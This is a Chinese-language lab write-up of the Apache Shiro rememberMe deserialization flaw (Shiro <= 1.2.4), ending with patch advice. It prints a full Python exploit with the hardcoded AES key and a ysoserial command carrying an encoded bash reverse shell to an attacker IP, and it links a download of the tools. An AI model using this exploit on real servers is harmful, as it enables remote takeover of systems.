
前言:
最近在審核漏洞的時候,發現盡管Apache shiro這個反序列化漏洞爆出來好久了,但是由於漏洞特征不明顯,並且shiro這個組件之前很少聽說,導致大廠很多服務還存在shiro反序列化的漏洞,這里對漏洞進行簡單分析與復現。
一.漏洞前析
0x01 什么是Apache Shiro?
Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。使用Shiro的易於理解的API,您可以快速、輕松地獲得任何應用程序,從最小的移動應用程序到最大的網絡和企業應用程序。
0x02 漏洞的特征是什么?
shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
就像這樣:

0x03 漏洞影響
只要rememberMe的AES加密密鑰泄露,Apache Shiro <= 1.2.4版本均存在威脅
二.漏洞簡介
0x01 漏洞發生的原因
先看下shiro官網的漏洞說明:https://issues.apache.org/jira/browse/SHIRO-550

大概意思是,shiro在登陸處提供了Remember Me這個功能,來記錄用戶登陸的憑證

然后shiro使用了CookieRememberMeManager類對用戶的登陸憑證,也就是remember Me的內容進行一系列處理:
使用Java序列化 ---> 使用密鑰進行AES加密 ---> Base64加密 ---> 得到加密后的remember Me內容

同時在識別用戶身份的時候,需要對remember Me的字段進行解密,解密的順序為:
remember Me加密內容 ---> Base64解密 ---> 使用密鑰進行AES解密 --->Java反序列化
問題出在AES加密的密鑰Key被硬編碼在代碼里,這意味着攻擊者只要通過源代碼找到AES加密的密鑰,就可以構造一個惡意對象,對其進行序列化,AES加密,Base64編碼,然后將其作為cookie的remember Me字段發送,Shiro將rememberMe進行解密並且反序列化,最終造成反序列化漏洞。
通過源碼,果然找到了被硬編碼在代碼里的Key值:

三.漏洞復現
0x01 環境搭建
這里使用docker進行環境搭建:https://github.com/Medicean/VulApps/tree/master/s/shiro/1
1.拉取環境到本地 $ docker pull medicean/vulapps:s_shiro_1
2.啟動環境 $ docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

上圖即為搭建成功
同時要編譯生成ysoserial反序列化利用工具
ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29種的Payload生成。
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
即可生成ysoserial-0.0.6-SNAPSHOT-all.jar文件

0x02 poc利用過程
靶機ip:192.168.127.128
攻擊機ip:192.168.127.129
大佬poc:shiro_poc.py:
#coding: utf-8
import os
import re
import base64
import uuid
import subprocess
import requests
import sys
from Crypto.Cipher import AES
JAR_FILE = './ysoserial-0.0.6-SNAPSHOT-all.jar'
def poc(url, rce_command):
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
payload = generator(rce_command, JAR_FILE) # 生成payload
r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 發送驗證請求
print r.text
except Exception, e:
pass
return False
def generator(command, fp):
if not os.path.exists(fp):
raise Exception('jar file not found!')
popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
poc("http://192.168.127.128:8080","192.168.127.129:1096")
這里直接以getshell為例
首先制作反彈shell的命令,使用http://www.jackson-t.ca/runtime-exec-payloads.html進行編碼

使用ysoserial中的JRMP監聽模塊,監聽1096 端口
這里介紹一下上面poc里面的JRMPClient與下面使用監聽命令的JRMPListenter
- payloads/JRMPClient 是結合 exploit/JRMPListener 使用的
- JRMPListener是ysoserial 工具里的其中一個利用模塊,作用是通過反序列化,開啟當前主機的一個 JRMP Server ,具體的利用過程是,將反序列化數據 發送到 Server 中,然后Server中進行反序列化操作,並開啟指定端口,然后在通過JRMPClient去發送攻擊 payload
- payloads/JRMPClient 生存的 payload 是發送給目標機器的,exploit/JRMPListener 是在自己服務器上使用的
- 超詳細分析:https://xz.aliyun.com/t/2650
我這里在攻擊機上執行監聽命令:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1096 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjkvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

在要反彈到的機器上執行監聽8888端口,靜候shell

執行poc:
py -2 shiro_poc.py
可以看到JRMP模塊已經成功收到連接請求,同時也執行了我們的payload,shell彈了回來

至此利用成功。
這里提供工具下載包括
- poc文件
- ysoserial-0.0.6-SNAPSHOT-all.jar文件
- 密鑰硬編碼文件shiro-core-1.2.4.jar
鏈接:https://pan.baidu.com/s/175Zbe53ahIYese1rZCWFKg
提取碼:66p1
四.修補建議
升級shiro到1.2.5及以上,如果shiro的rememberMe功能的AES密鑰一旦泄露,就會導致反序列化漏洞。
跟了shiro 1.3.2的代碼,看到官方的操作如下:
- 刪除代碼里的默認密鑰
- 默認配置里注釋了默認密鑰
- 如果不配置密鑰,每次會重新隨機一個密鑰
可以看到並沒有對反序列化做安全限制,只是在邏輯上對該漏洞進行了處理。
如果在配置里自己單獨配置AES的密鑰,並且密鑰一旦泄露,那么漏洞依然存在。
參考鏈接:
https://www.cnblogs.com/paperpen/p/11312671.html
https://paper.seebug.org/shiro-rememberme-1-2-4/
https://mp.weixin.qq.com/s/KkWL9SftCZSdkglW39Qw0Q
